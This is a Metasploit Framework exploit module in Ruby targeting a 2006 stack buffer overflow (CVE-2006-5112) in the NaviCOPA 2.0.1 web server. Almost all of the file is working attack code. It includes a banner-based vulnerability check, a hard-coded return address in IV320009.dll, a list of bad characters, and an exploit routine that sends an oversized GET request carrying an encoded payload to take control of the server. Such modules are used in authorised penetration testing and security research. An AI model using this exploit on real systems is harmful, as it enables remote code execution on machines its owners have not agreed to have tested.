NaviCOPA 2.0.1 URL Handling Buffer Overflow

                                                ##
# $Id: navicopa_get_overflow.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /InterVations/ ] }

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
				The vulnerability is caused due to a boundary error within the
				handling of URL parameters.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9797 $',
			'References'     =>
				[
					[ 'CVE', '2006-5112' ],
					[ 'OSVDB', '29257' ],
					[ 'BID', '20250' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
				],
			'DisclosureDate' => 'Sep 28 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class )
	end

	def check
		connect

		sock.put("GET / HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect

		if (resp =~ /2.01 11th September/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit =  rand_text_alphanumeric(228, payload_badchars)
		sploit << [target.ret].pack('V') + payload.encoded

		uri = '/' + sploit

		res = "GET #{uri} HTTP/1.1\r\n\r\n"

		print_status("Trying target %s" % target.name)

		sock.put(res)
		sock.close

		handler
		disconnect
	end

end